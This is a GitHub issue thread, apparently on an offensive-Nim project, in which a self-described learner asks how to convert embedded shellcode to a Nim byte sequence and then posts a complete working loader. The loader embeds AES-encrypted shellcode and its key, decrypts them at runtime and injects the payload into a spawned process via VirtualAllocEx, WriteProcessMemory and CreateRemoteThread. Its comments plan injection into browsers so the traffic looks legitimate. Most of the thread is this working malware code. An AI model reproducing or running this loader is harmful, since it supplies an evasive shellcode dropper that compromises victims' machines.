Closed rafale0n closed 3 years ago
func toByteSeq
takes a string as input. your const shellcode
is not a string.
CSharpToNimByteArray.ps1 can convert your payload.bin into a nim byte array as described in Playing-with-OffensiveNim.
Otherwise you can base64 encode it, decode it at runtime to a string and afterwards use func toByteSeq
.
I did not use slurp
so far, so I would need to fiddle around with that myself.
Appreciate the quick answer. This morning I came up with the working solution to the problem I posted above. I thought I would share it, since you may want to expand on the idea and save some time roaming around the Interwebs:
# Uses quickcrypt library AES CBC to decrypt and inject the shellcode embedded in the resources
import
quickcrypt,
winim/lean,
osproc
## Converts a string to the corresponding byte sequence.
func toByteSeq(str: string): seq[byte] =
@(str.toOpenArrayByte(0, str.high))
# The whole encryption scheme : short and brilliant !
# Slurping allows us to embed (encrypted shellcode and the decryption key) within the resources of the solution
const encrypted_shellcode = slurp"encrypted_shellcode.bin"
const decryption_key = slurp"decryption_key.txt"
# Decrypting the shellcode with provided key and turning the string into byte sequence
var decrypted_shellcode = toByteSeq(encrypted_shellcode.decrypt(decryption_key))
# Create Remote Thread routine , this is where I needed to adjust how we are passing my byteSeq:
proc injectCreateRemoteThread(shellcode: ptr, size: int): void =
# Process to start and inject to. To do: enumarte browsers to inject to, so the traffic looks more legitimate.
let tProcess = startProcess("lsass.exe") # Yeah, we can start lsass.exe process :)
# That's handy!
tProcess.suspend()
defer: tProcess.close()
echo "[*] Target Process: ", tProcess.processID
let pHandle = OpenProcess(
PROCESS_ALL_ACCESS,
false,
cast[DWORD](tProcess.processID)
)
defer: CloseHandle(pHandle)
let rPtr = VirtualAllocEx(
pHandle,
NULL,
cast[SIZE_T](size),
MEM_COMMIT,
PAGE_EXECUTE_READ_WRITE
)
var bytesWritten: SIZE_T
let wSuccess = WriteProcessMemory(
pHandle,
rPtr,
shellcode,
cast[SIZE_T](size),
addr bytesWritten
)
echo "[*] WriteProcessMemory: ", bool(wSuccess)
echo " \\-- bytes written: ", bytesWritten
echo ""
let tHandle = CreateRemoteThread(
pHandle,
NULL,
0,
cast[LPTHREAD_START_ROUTINE](rPtr),
NULL,
0,
NULL
)
defer: CloseHandle(tHandle)
echo "[*] tHandle: ", tHandle
echo "[+] Injected"
when defined(windows):
when isMainModule:
const sc_length: int = 941 #Set the final shellcode length. Is necessary to cast the shellcode as a pointer later. Actually this number can be any. Not that important, fix it!
var shellcodePtr = (cast[ptr array[sc_length, byte]](addr decrypted_shellcode[0]))
injectCreateRemoteThread(shellcodePtr, len(decrypted_shellcode))
It would be nice to hear your thoughts on that!
If that works I would say your problem is solved ;-) Good job.
First, thanks for all your contribution on Offensive Nim in regards to InfoSec . I am a learner on the subject who started dabbling in Offensive Nim some time ago. I have seen brilliant Marcello's work on it and trying to explore what he has shared.
My problem, I do really hope you can give me some pointers on:
What I am trying to achieve is to take a raw shellcode, "slurp" it like so:
so it is embedded in the resources and turn it into byte arrays in Nim. This snipped of code allows me to do that:
Well, this sort of works. Bytes seem to correspond but there is not execution. It just does not work, I feel like I my knowledge is lacking in this area. I am thinking that I should turn it into :array[x, byte] but I am lost how I can do accomplish it.
Would you ever be so kind to point me in the right direction of how to convert:
Into Byte Seq ?